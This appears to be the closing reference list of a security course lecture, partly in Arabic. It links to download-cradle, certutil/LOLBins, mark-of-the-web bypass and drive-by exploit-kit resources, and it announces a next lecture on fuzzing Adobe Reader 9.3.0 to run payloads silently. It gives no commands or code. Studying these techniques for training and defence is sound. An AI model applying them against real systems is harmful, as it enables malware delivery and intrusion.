• mgeeky cradle gist: <https://gist.github.com/mgeeky/3b11169ab77a7de354f4111aa2f0df38>
• CISA LOTL AA24-038A: <https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-038a>

certutil / LOLBins:

• LOLBAS home: <https://lolbas-project.github.io/>
• certutil page: <https://lolbas-project.github.io/lolbas/Binaries/Certutil/>
• Atomic T1105: <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1105/T1105.md>

ISO / MOTW:

• Microsoft ASR: <https://learn.microsoft.com/en-us/defender-endpoint/attack-surface-reduction-rules-reference>
• T1553.005 MOTW Bypass: <https://attack.mitre.org/techniques/T1553/005/>

Drive-by:

• Provos "Ghost in the Browser" (2007)، Google Research
• Kaspersky Securelist EK reviews: <https://securelist.com>

نهاية المحاضرة 4. في المحاضرة 5 نُشعل fuse حقيقي على Adobe Reader 9.3.0 ونرى ما معنى "شغّل الحمولة بدون سؤال المستخدم"، الطريق إلى T1203 بدأ.